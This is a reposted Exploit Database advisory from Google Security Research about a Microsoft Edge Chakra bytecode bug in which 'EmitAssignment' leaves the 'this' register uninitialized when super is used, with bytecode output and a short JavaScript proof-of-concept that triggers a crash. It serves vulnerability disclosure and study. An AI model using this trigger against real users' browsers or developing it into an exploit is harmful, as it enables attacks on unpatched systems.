Microsoft Edge Chakra – ‘EmitAssignment’ uses the ‘this’ Register Without Initializing

• Exploit Database
• 102 阅读

• 作者： Google Security Research
  日期： 2017-08-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42472/

• <!--
  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1283
  
  "EmitAssignment" doesn't call "EmitSuperMethodBegin" that initializes the "this" register for the case when the super keyword is used. 
  
  Here's the generated bytecode for the lambda function in the PoC. R5 is uninitialized.
  Function Anonymous function ( (#1.3), #4) (In0) (size: 7 [7])
  9 locals (1 temps from R8), 1 inline cache
  Constant Table:
  ======== =====
   R1 LdRoot
   R2 Ld_A (undefined)
   R3 LdC_A_I4 int:1 
  
  0000 ProfiledLdEnvSlotR6 = [1][4]<0> 
  000c ProfiledLdEnvSlotR4 = [1][3]<1> 
  
  
  Line28: super.a = 1;
  Col 13: ^
  0018 LdHomeObjProto R8R4 
  001d ProfiledStSuperFld R8.(this=R5) = R3 #0 <0> 
  0025 LdUndefR0 
  
  
  Line29: }
  Col9: ^
  0027 Ret
  
  PoC:
  -->
  
  class Parent {
  
  };
  
  class Child extends Parent {
  constructor() {
  (() => {
  super.a = 10;// Implicitly use the "this" register. So it must be initialized.
  })();
  }
  };
  
  new Child();